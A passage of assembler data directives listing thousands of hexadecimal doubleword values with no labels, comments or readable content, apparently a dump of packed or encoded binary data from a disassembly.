28FDC5E8h dd 78663C21h, 3086C23h, 0EC01A3D7h, 0F6AAF1CCh, 0CEC85074h dd 0ACF4B631h, 0A3D8B7C2h, 5449FC19h, 6DDD10CAh, 0C618A212h dd 31D1E44Ch, 0C40E53BCh, 886CEC29h, 0AF6276C3h, 35893196h dd 0D1D989E4h, 29603E2Ah, 90846EA1h, 0E71890E5h, 0F431DF65h dd 0D6182A9Dh, 24841E53h, 20E230A3h, 4C7419DCh, 7A431F6Ch dd 8AD8672Bh, 0BB3CD86Dh, 902C29A3h, 233C3514h, 89CC91D3h dd 2B44B844h, 97108678h, 21C28B0Eh, 48109202h, 0BB88A185h dd 6D327989h, 79EF1418h, 5C2AFCACh, 30223CD6h, 7ABE099Ch dd 0EC284DA2h, 0CD7B03FCh, 69C8AF1h, 0FF61BDC6h, 2F6CA2E2h dd 30CB26CDh, 44E9896Ah, 0D87E2C3Dh, 65280669h, 689929C0h dd 0EB499DF0h, 7D7A0A9Ch, 42F78460h, 0FE3831A2h, 37C011C2h dd 0CEE70F08h, 932B11BDh, 0C8D18A9Ch, 775964D8h, 10435012h dd 3CA44867h, 9CA7602Ah, 0E5E1D005h, 84D0CEEAh, 0B0E64574h dd 0E542E5B4h, 44E8C49Ch, 4900CBD3h, 0E7695EFBh, 0B8E59C33h dd 0FC0C5C0h, 0CFCCC9DDh, 16A4514Ch, 100F4B10h, 0C02454D8h dd 0EB7448Ah, 144500B1h, 79462291h, 0DC039A76h, 5DF860F9h dd 203DB90Fh, 0C4102F1h, 3A1089C5h, 22036FFCh, 3C015112h dd 2EEDE0A5h, 898018A2h, 0C9A1039h, 531A3F06h, 2018AA98h dd 0DE00A2D7h, 5EF0216h, 1DE29EA5h, 8010174Ch, 1A99A4C4h dd 7218BCC9h, 0FB483DEDh, 3BE718F9h, 0DD287886h, 0D4122300h dd 599F4488h, 27670C63h, 0FA309903h, 13C3851Eh, 0AC55E073h dd 3B561603h, 739AA93Ah, 79898118h, 0A8B1B291h, 3E61684h dd 0F86B09DEh, 0C9B0BBB0h, 80004374h, 21EE19F9h, 0C16688C6h dd 1687BC39h, 8130006Dh, 0FACFF89Fh, 44B90E3Ch, 0EC232CCAh dd 2903BD8h, 6F89A22h, 2A97D918h, 398BA311h, 7780801Fh dd 0E34A499Bh, 87066CD8h, 33F4D9E0h, 0A23C0029h, 6FF2664Ch dd 93001817h, 45D76764h, 0EEB28ECh, 0BC1C903Bh, 1E430280h dd 0E0039D3h, 0D99F75A3h, 3EF20h, 0BC8F7F29h, 0EC19A0CCh dd 7A186671h, 0AA5108EAh, 8F1884EDh, 66C1CF6Ch, 79CB6056h dd 205ED9Fh, 0DB459706h, 1110D8D4h, 0F4C3C7Ah, 18994373h dd 0F39021B8h, 0E5C806EFh, 888BEE86h, 87B6AD1Ch, 25B78Fh dd 0F1A56F85h, 0FE8D621h, 0CEAFA453h, 600448FBh, 0D9B5AB6Fh dd 13B3421h, 91084F19h, 78185130h, 0CADAADCDh, 837847B1h dd 9A90FAACh, 0C19CA9FBh, 439D566Ah, 0C2FA8248h, 57D4B320h dd 0C84A5433h, 2CBE0FAEh, 774AF501h, 6C5C800Ch, 4FB155F4h dd 880280A9h, 50F4E20h, 5E766E89h, 0F4900518h, 9B420AFh dd 0CC1EF9BDh, 358A496Ch, 5401B8D6h, 16D432BEh, 4473D08Eh dd 0BF0378D4h, 26A01058h, 0EDCEA010h, 73EA6802h, 14A2C85Ah dd 8C82B1B0h, 148C316Fh, 0C6057CC8h, 149125AAh, 1F02B801h dd 0C8E8D319h, 5ADCA8D4h, 4F6C0358h, 0AEEC2BDBh, 0A8A3C4CAh dd 0DED36501h, 2D81844h, 315A6806h, 3105209h, 7599F479h dd 2902DBD5h, 61874528h, 6CC88201h, 302C46D7h, 77E8D29Fh dd 2530DB02h, 4ED4A8CCh, 0C0AE6054h, 9A66211Bh, 934081F3h dd 2889C36Ch, 2A085881h, 83DAB5EDh, 9ABDCC68h, 185075D3h dd 68D5A8BCh, 4378C1E4h, 3EF5601Eh, 7B58A202h, 6F6080FDh dd 0E50B18h, 0AC8A27B9h, 0DE9822C2h, 0F4480861h, 3883650Dh dd 2B6E2D66h, 0E0447EDAh, 54072C84h, 31738B7Dh, 7202986h dd 6D24BA57h, 0D1187CDDh, 26CBD0ABh, 0A6784150h, 2457A32Ah dd 79068600h, 0AA7FF30Eh, 0B68D1F5Bh, 0C1520056h, 93E2CE51h dd 78E6D900h, 816E4694h, 89EA073Fh, 0F05C0B4Ch, 5B6B68ECh dd 0DB188460h, 3C913570h, 1F89826h, 0F9BC6E10h, 509DBA92h dd 0B80B8108h, 82C56600h, 0A309F2E4h, 6787403h, 10123F6Eh dd 31075179h, 0A5C6C488h, 96DCE5C1h, 0D101880h, 0F50B43BBh dd 2B353201h, 605918B1h, 0C0EB2CF4h, 0E5A4B868h, 79DE5DD0h dd 9B99B101h, 1080BC1Dh, 0ECD9FA3Fh, 81301FFBh, 516B167h dd 6B901E3Eh, 4A650CC7h, 9B261F71h, 321F2BF6h, 345F15h dd 0FEA7471Eh, 0FE495h, 0E511A8CFh, 404F0396h, 9C16100h dd 0C7CC07A7h, 17306F3h, 596E0D2Bh, 398FD10Fh, 0F927A10Fh dd 88404B76h, 403F3A8Ah, 0EB00456Ah, 79B7A50Fh, 7384A2EFh dd 28A4675Bh, 5FAB41C2h, 0ADD841E5h, 1F2C4009h, 613AC67Fh dd 38E9B015h, 695DBCAh, 0D681596Bh, 0A5E62830h, 0F26920A8h dd 0DAAAB018h, 1D16BE9h, 9D105348h, 50EDB69Bh, 0EA89249Ch dd 3EFE823Bh, 19D93031h dd 51EF969h, 0FD93E576h, 143C1E9Ah, 961C1009h, 0E6A182D4h dd 0A485EB6Fh, 1BD046FBh, 92810A2h, 0CC378838h, 0E9C6109Dh dd 19797821h, 11BF840Ah, 0D126E0E6h, 28313560h, 0A1340A60h dd 26E00728h, 1A788401h, 18A199FAh, 7C509448h, 50273218h dd 7EC72349h, 4428D900h, 0CB466996h, 329CA183h, 51CAECh dd 6559F310h, 0F9039BB2h, 5684E9DFh, 9C80860Bh, 2696A96h dd 1D7E12B3h, 0EE3FB5Fh, 0A9856007h, 0A7408997h, 4D3368h dd 80E3A666h, 0F3B9DDEAh, 0C0A040E3h, 0F003566Bh, 0C265E439h dd 8293C169h, 0FDA68883h, 280108E2h, 0EE2BDFECh, 182095B9h dd 1E78402Fh, 0E71F3F7Eh, 5E00F27Ch, 15204F52h, 65E508C4h dd 97029D2Ah, 403E1303h, 15C94758h, 80EFB630h, 5D658400h dd 61E6EBE4h, 5E3977FEh, 553583D2h, 0E0D80D4Fh, 1F59030Ch dd 2A76722h, 9A847420h, 6DE65882h, 9628103h, 0EE02B171h dd 0B71A3420h, 12E40315h, 7F1720A0h, 3F7DA0C4h, 40ECD10Ah dd 77C506AAh, 60A5A224h, 324DA94h, 2A9DC194h, 2114F14Dh dd 0F603C850h, 949A40DFh, 48E85730h, 285D1AC0h, 0CFE21317h dd 4EE132F8h, 0DC7304E3h, 4A3C64D5h, 14F224AFh, 0F870443Fh dd 0E48831DAh, 10380D18h, 747CA8A2h, 22917482h, 6C6680EEh dd 0F0C98FB0h, 0E3C74197h, 0EB0EDEC8h, 0F2E6DA00h, 0A49247DFh dd 59761F1Bh, 447C6410h, 425C8361h, 0E8484178h, 892288Ch dd 19FA5EFAh, 19C18A1h, 9980E567h, 822C72A5h, 6B097C6Ah dd 4905104h, 60909CE8h, 121AF3Fh, 2E5BE4DDh, 24C6779Dh dd 38C29374h, 41A70465h, 0C317D280h, 0AF09DACh, 0C709DD1Fh dd 159DA81h, 2BF1A36Ch, 9CC5188Ch, 3449F0A8h, 1A122A8h dd 59818F6Ah, 897565EBh, 0A1A0D139h, 0C1B4284h, 15A568E8h dd 5C7C1EF4h, 11B48024h, 608E0F62h, 59DF0D31h, 3A08FE2h dd 1E6DFA6Ah, 10A63410h, 207C8CEFh, 2B18A1D3h, 4F292096h dd 9E01560h, 0FDA7A9F9h, 3CC5232Ch, 75B4C115h, 8590EC3Eh dd 0EE046A30h, 0F47C7C81h, 9F9EC081h, 34E77B03h, 0CF28F6A4h dd 9600EC28h, 901C46EEh, 45B2C38h, 7AE535F5h, 6708919Ah dd 0CC66E07Bh, 797784A8h, 8EB45100h, 0F7062361h, 0AC64E92Ch dd 0F03D1F17h, 87CCC027h, 9EF2FBAAh, 2F004490h, 0FC2BFA55h dd 0A7734D4h, 3B58B22Ah, 409D4464h, 365FACC0h, 0A26A029Eh dd 0E1656902h, 875BD048h, 5E635D16h, 0B990E840h, 10384359h dd 7C3ADF04h, 9A310918h, 0DDD4F0h, 5AC32574h, 29D3920Ch dd 0CBC73A0Fh, 5CA380DCh, 0FA2D81Ah, 0DB6784ADh, 0A4602003h dd 1DFD1120h, 87AC33B6h, 0C1AE696Eh, 0D452D8F6h, 0D37F8081h dd 0AD00A1F0h, 63A2C9B1h, 0CDF7694h, 0CD9FB72Eh, 0BC0EF648h dd 586DE886h, 7272111h, 2EFDA4FCh, 18A356A9h, 28FF9701h dd 0CC998E15h, 1377E4h, 9AD3ACCFh, 986AB8E0h, 31A53580h dd 8179F1E1h, 473FD120h, 0C25A8744h, 9FC14C53h, 0A0F240ACh dd 39003667h, 0D60E2E72h, 4FC7A2h, 290CCCAEh, 74D0BE70h dd 0BFDBB807h, 60C36237h, 52D9C8E7h, 951A0CBDh, 29618FD3h dd 18BE5F00h, 41E19F21h, 3610C123h, 8032FD34h, 1ED80A71h dd 5148661h, 0C8BF6B23h, 0DC1C0E2Ch, 6DA38240h, 873A26DAh dd 21A853FCh, 453E9D9Bh, 68981FA8h, 23051B8Ch, 0E744573Ah dd 0A738E821h, 0CF90B18h, 0F830542Ch, 0C773188Dh, 0D2848A9h dd 0F3C11300h, 0F25635ACh, 0D96D20A2h, 1550F61Ch, 0C022AA66h dd 5A0741C2h, 0B480908Ch, 309682FBh, 9780A1E0h, 0C925FA1Bh dd 628C1D71h, 29581F50h, 12B91F5Ah, 2D6E1480h, 0A0B87EDEh dd 0DDDBB0h, 205BC157h, 0FC817DEFh, 15143214h, 91383058h dd 5CD877h, 172239BCh, 0D6214C0Eh, 60A1C0C7h, 5B0AF820h dd 2D10C08Eh, 852AFD51h, 326E0890h, 0B08641E9h, 9C22F2B2h dd 37E257C2h, 21B48440h, 0D2BA0E06h, 0B061BF9Ah, 704D1F41h dd 23FE475Ch, 40BC2A5Dh, 5120FF1Fh, 0EF7608A0h, 5EB5AE01h dd 33FD9F23h, 391C09Eh, 0BB15325h, 0C2187074h, 3D88D53Ah dd 824491EBh, 0A4073E43h, 0A6788480h, 74A3244Ch, 204D58C0h dd 20B3B530h, 79AB1Bh, 6E299C85h, 0AE51FDA0h, 4C491A06h dd 7CD03A8Ch, 5679048Dh, 42D43E4Dh, 0A01C5125h, 0C6BEFACh dd 0E7DC00A9h, 723376E0h, 303C1136h, 1FBE1DD5h, 9FCE4980h dd 487D2DBh, 0B1B45378h, 0B2659121h, 0F51C3465h, 2AB7E93Ch dd 0F0F0B89Dh, 0F84108A6h, 6A5F20F2h, 0A715D287h, 77F499E1h dd 0ACCAA91Dh, 29CEA14Ch, 0A0943E6Bh, 6E79348Ch, 0F4A801C8h dd 9CF28606h, 16CC29C0h, 0C6BC6DC9h, 29607A11h, 0AFAC3631h dd 0F98A2247h, 2114A06Dh, 9B01C8Ch, 0C0106B90h, 4D287152h dd 56091023h, 1ECA6A5h, 0A03ADD6Ch, 0B04277C9h, 47B30463h dd 0C460A647h, 48C004BEh, 0C71094B4h, 0EDBA0FA4h, 0A30C065Eh dd 0F05DFA11h, 0E6A14434h, 46BC30C8h, 646110E7h, 0ACFB5431h dd 633E4CC8h, 6879E17Bh, 8F38028h, 89104340h, 3266F4B3h dd 0A155C18h, 0E2609049h, 0F62302FAh, 9BB29A4Eh, 343988A5h dd 34988298h, 4B275448h, 64CA9226h, 0DCC8FD00h, 4771CA1h dd 0B2315E60h, 5AAC9056h, 48006DC1h, 0E511EB6Bh, 303D397h dd 0FAF27E38h, 0E1E04EB0h, 0CA4926Ch, 0DA584BEAh, 166F2004h dd 21BCD9h, 638B49ABh, 4B2A26F2h, 0EC124089h, 8413E576h dd 0C02F2003h, 0A0B80CF3h, 23C1B1E1h, 6952B200h, 9D3121F5h dd 40D6F934h, 26A2F058h, 4154ABACh, 52171333h, 0E442B5FCh dd 0F63E1480h, 7D196230h, 0C2789532h, 8AE909C7h, 0F00304AEh dd 73A384A7h, 0A01C8088h, 0FF4BAC0Ch, 10B958A1h, 7468DA1Eh dd 0F2EA2874h, 6F3EAC01h, 8611F13Fh, 53AE020h, 21FA336Eh dd 66DC98A2h, 549D9A05h, 0E004AA35h, 0EC80318Fh, 48907B8Ah dd 0DA0C8E8Eh, 0B959F9B0h, 0B6B44E19h, 0BC324818h, 1FC392Eh dd 2F3A1DE9h, 27884096h, 0F00077DBh, 3DBCD39Dh, 197050h dd 51EEE530h, 0F4D5F736h, 15024B7Dh, 52A2CD9Ah, 0ACB885F0h dd 608A4C80h, 6348C28Ch, 9E0F020Ah, 92AF03C7h, 8D4C9AC9h dd 0AADBB0ACh, 6584A7D2h, 88768088h, 9CCCA2ADh, 0A56F4F00h dd 2A862F7Eh, 44F219DFh, 0C25F88Fh, 82118672h, 9010F34Eh dd 0C99E389h, 0FA34C6B0h, 0F620A6F9h, 3FDF049Fh, 2E2D3044h dd 73B113h, 912249D8h, 0CFE684D3h, 6284090h, 0F609F890h dd 877E468Dh, 4752EEACh, 23C8C8BEh, 0DADC40C3h, 7310D800h dd 0D133AC5Fh, 9F261C18h, 20E7581Eh, 1C0570ADh, 46BCB152h dd 4C17202Ch, 20409148h, 0F8E20077h, 938D3FF0h, 0CC02204Bh dd 0EF2F1B23h, 0B3CE8ABh, 78A90062h, 0DB057D26h, 1A015344h dd 8D7C6F0Dh, 0ADF41B94h, 8B3300CFh, 9D51BB2Eh, 73006DCDh dd 0A1F7ED82h, 970F70h, 9F16D70Dh, 2D090338h, 0F63C4603h dd 0C0C09324h, 7F704EBh, 9AFDFB28h, 0DC90702Ah, 3400A573h dd 413CAA07h, 0B3D70h, 0D0831A44h, 38BA66E7h, 1CE0C0Eh dd 0CD27441Bh, 972D1880h, 0BEF4D0h, 76E80858h, 0AECC26D1h dd 0E07A0C00h, 8B6584B1h, 37440166h, 16A97F8Ch, 0C05FC248h dd 2361D3h, 0CB01BEB8h, 35CDF31Ch, 5BADFF00h, 73B3751Eh dd 9233311Fh, 0CB5C08B9h, 3F8CCCF8h, 0BCBFF507h, 5B246FEh dd 98D068EEh, 4BE900B8h, 0CF6D3230h, 0B3009B9Eh, 0CCD31750h dd 2F15390h, 0EDE7B8ABh, 0A8E47FBFh, 8E005C76h, 9E130B67h dd 0E3C9849h, 3D8A5AC0h dd 0CD5FF240h, 0B803F5D6h, 27624164h, 981FB82Bh, 49E600E2h dd 39F12665h, 9300926Fh, 0AFD61A50h, 185A1DBh, 4C248D0Ch dd 60E951B4h, 65EE3735h, 1E11B200h, 0F69368B7h, 46400060h dd 0AB1CE16Eh, 8A00C147h, 4D42F2E5h, 0FF0F9C92h, 81FA9C50h dd 0DD7E0082h, 314A6DE7h, 193DF4CFh, 797C81A9h, 0EB59909h dd 0FAC588D0h, 39FD00FEh, 244A57F9h, 0A894A2B4h, 95DBAC00h dd 0D85B02h, 0BB411E06h, 615EFE04h, 0F0660800h, 0E2A7A94h dd 24B900DDh, 0F6F8BED2h, 23009EFCh, 46856A4Fh, 588A13h dd 483A2142h, 0D668E98Ch, 3C96AB3Ch, 0B8923DF1h, 2DB85084h dd 1AD4F954h, 6E0F6300h, 8BAF173Ah, 5EA0797h, 40F25A7Eh dd 8892C969h, 9608F403h, 0FC0B40DEh, 0CF165483h, 6D113C20h dd 358F01C8h, 0C1321FDBh, 0A78860EAh, 1E00F872h, 0F1D09D3h dd 0E439D538h, 5B150656h, 484A9E3Dh, 1FEE539h, 7275E4B6h dd 4240554h, 93DD03F6h, 20954B35h, 0E9838902h, 60E6C676h dd 12046F53h, 6BEC13h, 2EAC6D75h, 6201990Eh, 8CED38CEh dd 8970CFDFh, 53AC0F8h, 0E2254402h, 1E4FEE00h, 0A67FAAB0h dd 0CBBE007Dh, 1B1D0AB1h, 0F9F40CF7h, 4EBF2316h, 0C57D3800h dd 1233DBB0h, 0EF9C10F2h, 0EDF0B800h, 7FAF3BD4h, 47FB037Dh dd 2E8A9D25h, 0AA6842E0h, 0CB523E00h, 0C62AC04Eh, 0DAEA001Ch dd 0F5C98674h, 4112BF19h, 0FE001E20h, 0BDB93DC0h, 550A0234h dd 0FFCF2699h, 0A4A5AC80h, 743B1F03h, 379C018Dh, 0ECEE2948h dd 340E8283h, 60DFDE3Ah, 5DA08FD2h, 3F7CAD00h, 0A3ECA4B0h dd 5AE61855h, 0D8ED2027h, 8E8A5000h, 0F10F2AF2h, 0BCC44915h dd 607A0B00h, 4FDAE8C6h, 0A6CA3A00h, 6A48A819h, 655A00D4h dd 0AC5791A7h, 3403E5A2h, 7FC558Fh, 66C6A025h, 201907FBh dd 0B8445Fh, 905098ADh, 80C3D03Dh, 0AC092D80h, 73FC55Bh dd 2CCC5723h, 158A300Ch, 0F2000E0Fh, 6DE292E6h, 7F51F55h dd 7F84962Dh, 8DC3BF16h, 9DC0FBAFh, 1700DB2Ch, 0FC226038h dd 0CFF0E7B1h, 5F409441h, 0E104B87Bh, 0A2B9261Eh, 700B71C0h dd 160277h, 0FBC02383h, 0F0280518h, 0F0CA5Dh, 0A5D01FB3h dd 483EE2B2h, 4100EC03h, 98B8B583h, 0DA00ADF7h, 421CA6DFh dd 3F03B682h, 36802867h, 4F601588h, 756EE316h, 8DDE6038h dd 29138Bh, 4D50193Dh, 0E1AC1ED1h, 75701212h, 67F57C80h dd 0EC9473E9h, 0F2480A1Ch, 995501h, 9A20E2DCh, 2000364h dd 0D98B8FC2h, 237B2Fh, 5CEF546Fh, 734CDE9Dh, 5BEA260Fh dd 0DA9940C0h, 74A362h, 4798151Ch, 0FEB752F3h, 3068FC07h dd 2520A11Eh, 3AD440h, 8FD71A96h, 9CF9D9Fh, 0D8012000h dd 57BA6226h, 95C50090h, 0F727EEFEh, 25000AE0h, 0E3A96AF9h dd 981B6576h, 74BA004Eh, 37985AB4h, 20017B79h, 9245E42Fh dd 0DD9C49Bh, 0E8BF30C4h, 0A5CE1EA4h, 0EDAA4040h, 3CC2AE6h dd 3B1F0C03h, 0E09A8208h, 13CABAh, 83462C32h, 61E0FE57h dd 5550F900h, 5F5B3C47h, 273F0EEBh, 49E00A6Eh, 16B738ADh dd 3F57514h, 0C3A8094h, 2CBD90FEh, 0A6E7C5h, 9FAAD287h dd 0DA028A92h, 0F3B3C9Ch, 0F7D960FEh, 0E5B10063h, 5FF5261Dh dd 27388992h, 99E400A0h, 8A1B1958h, 628707C8h, 77F75259h dd 635A3053h, 0AC002CF2h, 4109DA84h, 17E7834h, 6E35254Fh dd 0D81A28CBh, 0FB009F8Ch, 0C6641FCAh, 7D58898h, 84D10623h dd 335D109Bh, 17587A7Bh, 0F7BB0333h, 0C827FCC5h, 257C34BCh dd 4C804155h, 7EF30435h, 0C4EB500h, 1D08B12Fh, 471F0040h dd 85775F2Bh, 451F20F8h, 0AF40DC48h, 0BD1EEAFDh, 0F6900ADh dd 0D7B98C0Dh, 52482AE8h, 153102D5h, 7A9AF024h, 0BF6D00E8h dd 0F9D2CA70h, 0A81DFAF2h, 0DBC10190h, 0B40E356Ah, 3C1D0439h dd 408B9DBDh, 0A68DD262h, 0C3E80501h, 20553F13h, 0EE9FE040h dd 0E97AF43h, 4731199Eh, 547B1080h, 0AC16F3A1h, 0A10F21EFh dd 0F7D68044h, 0CF22DDh, 96F1D295h, 4209B5DBh, 0FA5680A8h dd 746ABF3Ch, 7611F60h, 0C1A80A22h, 9DF737C1h, 318EDCDCh dd 0A0FA9103h, 20A38225h, 47EB121h, 1524D415h, 54D8607Ch dd 0F5864F2h, 0DF91E697h, 0E3568887h, 2FFACB33h, 9CC00D42h dd 75005F65h, 61A9D380h, 3CBD0D32h, 0E90078B8h, 1EA507F1h dd 2F1C0F08h, 3080801Fh, 7DB1BA03h, 0F36303F0h, 0BDF62D2h dd 0DE61B09Ah, 0A885205Ah, 0F24CB900h, 38D2BCA0h, 3353006Ch dd 0D3130DCh, 0E100C61Ch, 7701B3A2h, 3A6EA9AAh, 0AE00C27Bh dd 0B84F1D85h, 8D0ACA32h, 0A8E30454h, 0D6247800h, 7AAEBCh dd 0E91B648Eh, 36BB556Bh, 71BEA001h, 0C0C909CEh, 3BCF91ECh dd 0D53BBA5Ch, 0BFA26A80h, 95B7618Eh, 74981101h, 0A38FE550h dd 14E7030h, 15C7072Eh, 0D8512A54h, 0B42CC9A9h, 5D005970h dd 0D98812BDh, 757DA3h, 30F5E7E2h, 6152C74Dh, 0B2D59F00h dd 10878E4Eh, 0CC7BA7h, 21389059h, 0DDA3D0C7h, 0A87C7E00h dd 0B010A287h, 2FB71E6Ah, 3FD74022h, 61AB4B42h, 20C47E00h dd 10D16755h, 0C0E71ED6h, 6E018FFCh, 286A6820h, 0DDE273E9h dd 968A6100h, 65189B59h, 749476C3h, 9950077h, 5DB2257h dd 0E50004C9h, 0B4AF8F2Ah, 0BC353Bh, 6ACF8820h, 11A72974h dd 0FC035500h, 8E494114h, 25E13BD8h, 59A4FB00h, 0DDAEC07Ah dd 0BF46F803h, 5E0589h, 9C25870h, 0F47B3CECh, 0C10014E4h dd 40C7C61Bh, 26686C44h, 738D936h, 0A03E6F7Ch, 0D5359E65h dd 0C60A6600h, 0CD01D177h, 0ADEE0FC5h, 0C8203B5Bh, 0B81ADA62h dd 0DFE77C00h, 0BE13A09Fh, 0AA911E90h, 7D07FE64h, 30856AEDh dd 9750FB94h, 0F42CD000h, 6E9A5673h, 0F7860993h, 9004FE8h dd 0DEB9E16Fh, 2DF45700h, 0A86A023Bh, 7018009Ah, 0E3070D3Ah dd 1D773D7Ch, 96C3CC00h, 1EC2A5B0h, 1161C0Bh, 64DDC0CAh dd 0CBB974EBh, 8B2D1B07h, 5450DB86h, 3872902Eh, 0F6800E29h dd 7A560D92h, 6200E74Bh, 0F1639BD9h, 0E8BF7D18h, 0F9570706h dd 80564CCEh, 789F73EBh, 481E8630h, 0E8707h, 1D11984Dh dd 0C985BB34h, 0CA4B4E00h, 3A14D43Ch, 45310C36h, 0D2B90E0Ah dd 27193B03h, 0F79F267Eh, 259B3080h, 0E96B1CA5h, 0DD2000FAh dd 948FBD4Ch, 807EB73Ah, 0DC19B315h, 1CFBEEC8h, 0C04E9A5Eh dd 0F62C9066h, 53F67957h, 0F7F8E5B8h, 0E1AE1103h, 0D8825D8Eh dd 29FCB56h, 9189A2A8h, 5343282Fh, 0D9F43100h, 0D729DD48h dd 0BD343D30h, 4AD4D000h, 792C593Dh, 0F5225B00h, 566E5D1Fh dd 843C0094h, 5317A6BBh, 83502520h, 0A820BC88h, 0C78D005Bh dd 79A16E51h, 0F43AE32Ah, 6DA60067h, 0CE21B00Dh, 386C0039h dd 0C796A82Dh, 8FF80E10h, 0CCBD5101h, 124892C1h, 756ABCECh dd 2F0B0002h, 3CAB3215h, 3E008E76h, 7A546843h, 3FA0E7h dd 5F22C5ACh, 9C10CE7Dh, 161EC38h, 6C271E84h, 6BC077EEh dd 0A8356206h, 12058A8h, 0E4A78A09h, 0B3030EE1h, 46E0367Eh dd 4C65EC8Eh, 94714500h, 0CC8FAB6Eh, 0E8C0C0A9h, 0CF55094Eh dd 3DA2D60Fh, 70380130h, 3BCC0FE2h, 6F1D0357h, 6417CFFAh dd 0C969AEA8h, 804A813Eh, 0AF05207Ah, 3CA0D2h, 85332B93h dd 3E541907h, 3817700h, 2E704CC9h, 0FC1C0540h, 506CA93Ah dd 0F42498D4h, 0C7058054h, 0EBB4E8ECh, 4108900h, 1D1BA621h dd 5A6B063Ch, 0B0F35299h, 0D58A1E01h, 189DEDAEh, 577041EAh dd 0C6F4F021h, 7BA7B05h, 0C5B1E042h, 46B8D00Ch, 9D008FCEh dd 97F8E7C0h, 8B9F77h dd 0C50344BCh, 79B32E69h, 5549C907h, 0F2ECF504h, 75EC0078h dd 2C60CA74h, 1639AF20h, 2EA88089h, 0DC9B7643h, 782B1C24h dd 819840DAh, 0A6FF0F79h, 8CB96213h, 55611100h, 132F9AEh dd 0A8A78806h, 0EC852B4Eh, 0D00024C0h, 1BF60DF8h, 71D7273Dh dd 57750033h, 0FEAA9EEFh, 0B81747CFh, 6005F65Eh, 0AC000628h dd 0CA72FB24h, 92C2001Eh, 0BBB19B83h, 2200BA84h, 3B9F4B44h dd 150E1Fh, 796FB4CAh, 0FEDB8D12h, 99A82000h, 0DCCBD047h dd 5AF871h, 0A58E84BEh, 451A78F0h, 0D2A84D09h, 0DC34001Bh dd 582A47h, 4684549Fh, 2FEDDF9h, 14568026h, 0E9888C80h dd 7EFC28h, 0BD07FB8h, 0CF19973Fh, 9653F6A0h, 3DB7404h dd 389144E6h, 0FC576E0h, 3F1560h, 825BFE53h, 64D0EA6Eh dd 3B1404B0h, 7DC076EBh, 0CBF19A0Bh, 208A0E38h, 987087BDh dd 0B2B90050h, 0F9B57A5Ah, 53582C74h, 0BBFD0304h, 63CF03h dd 0B9DF3148h, 0DB25905Eh, 197E9930h, 26F44797h, 809C81F1h dd 0E0E1C917h, 0E9007B86h, 88B209D9h, 242CA11Ah, 1EC1401Fh dd 8FD88296h, 0F4802791h, 9F880CCCh, 6900C97Dh, 5B257387h dd 7DC5A4h, 5FE9BB58h, 98F0A620h, 202D30CFh, 0E8EF9557h dd 599F0065h, 4621227Bh, 0C87CCCB7h, 1767700h, 0A6F34F3h dd 5F2E033Ch, 0C339D443h, 95AB3AB0h, 7D722300h, 707B4B57h dd 0BE40071Bh, 1F516FDh, 81D1BD22h, 8B442B18h, 12DCEB34h dd 95780B61h, 9806BED4h, 98982075h, 0C33830EFh, 0ED667B02h dd 0C0CC035Fh, 0D5A6D5h, 7BBD1E9h, 11251E08h, 0C92CB600h dd 37A9E430h, 5B1F01A0h, 0E2385C81h, 9799C415h, 0B4BDD200h dd 32341CDh, 0FC8C00ABh, 0B3CBBB0h, 0FE002E06h, 68F79751h dd 3735F2Fh, 0CE31BECAh, 1100300Ah, 410FD680h, 0FE798AC0h dd 3E3917F7h, 5A2C025Ch, 6B1025E8h, 0C1812EE2h, 0C2A91C27h dd 239EDFFBh, 6040E2E2h, 0E1007B37h, 0B475DB7Fh, 21FB03h dd 0B64DBFD2h, 0DD12B545h, 0D991D002h, 0E805571Ah, 0FA0CC438h dd 2CF60026h, 0C9A53F4Fh, 0FA0075D8h, 8F7294DBh, 480DE83Bh dd 2E0BC41Ch, 0A090A551h, 2AFC55A6h, 8000FAB0h, 456216C2h dd 0C71470h, 0E1E0ED31h, 0A8024F1Bh, 0A4C1D0A0h, 500070D2h dd 695B8FC0h, 8B8400EEh, 0BAF3FE43h, 950087C8h, 0B2A64479h dd 90C20A23h, 3830058h, 6A82EADDh, 744D9A9Bh, 94F500B8h dd 232CB49Fh, 0BCC23AC5h, 80BC93Ah, 10237D05h, 80D4F68h dd 2974B519h, 1CA30B7h, 8AB92F24h, 2C8F9C38h, 0FFA32600h dd 8E2E5Ah, 5E06F7Fh, 0D2334FDDh, 44DAE417h, 3C7378E8h dd 7900B80Ah, 5E108064h, 0BC0356B2h, 6F70784Eh, 505FD836h dd 0DD330369h, 9D45EACCh, 2AD49903h, 981964F8h, 72877B55h dd 0F0E05Dh, 5BEE096Ch, 7EF471F9h, 9D67E900h, 6529D377h dd 37A2391Fh, 0C23CA900h, 0ABD8507Ah, 0AF42191Dh, 3D445100h dd 21C6BFh, 9F8A5FEEh, 6526D1A5h, 0AF454A07h, 9140676Ch dd 74B0B9Ch, 0AE06BDDFh, 86B61093h, 80079953h, 9C56AAF9h dd 0DBF040EFh, 3D828DD6h, 0C8004D0Ch, 617D01E9h, 4003FAA0h dd 93F93848h, 0A671E8ADh, 0AB812826h, 61CC06A7h, 609F6CBEh dd 0A02A4Dh, 5F811DB9h, 0F594991h, 2DBC3C83h, 85BED680h dd 0BD0D7A23h, 9A1C77F4h, 453C48E2h, 0C96E00B0h, 250F2F1Ah dd 0F2065312h, 527F7AC3h, 0E9D70019h, 86694696h, 0E0FF4C74h dd 0C39896Ch, 0D42B80ABh, 0CE8C91EEh, 0DFF4A8BDh, 35E70088h dd 641A1FC9h, 7F32BE98h, 629C1048h, 0AD7CA0E3h, 0F26836B7h dd 0A4B20C05h, 70990F55h, 0B9CBFD06h, 68DD32h, 0EFE2B28Bh dd 996D2F23h, 16828C0Ch, 0A0D1A0D4h, 30CE8A80h, 0EC4009CAh dd 7B001285h, 23ED058Eh, 6C9BD79h, 66B5146Ch, 879705Ch dd 0DEE40F1Fh, 0B4576880h, 0A024C1CEh, 97AC94h, 0E7DD3684h dd 0E89C8298h, 0F6FA0109h, 0E07C0E21h, 0EBC49A64h, 2E1700CBh dd 0FDC263D6h, 98F0F784h, 766D2801h, 0DC6F6B18h, 1D58EAC0h dd 40B133B2h, 0E092E79Ah, 6B0A1701h, 2C88E59Fh, 0CC168669h dd 25050559h, 0BF8D2694h, 9A61C6C0h, 689F6339h, 987597DFh dd 0BA0130E4h, 2A0B708Fh, 0FCF456FBh, 0E907015Fh, 8D1ACE4Bh dd 0DAB16FFEh, 9CEB7987h, 88404C0Ah, 0F50F68E6h, 0E7ECD0h dd 4A8C7965h, 3EFFDC5h, 46985430h, 7100C3E0h, 7CE2E103h dd 30BC9C47h, 0BD186A62h, 29018AD8h, 0BA4D2B55h, 7DD0C4B4h dd 6150032h, 2703727Ch, 883990A4h, 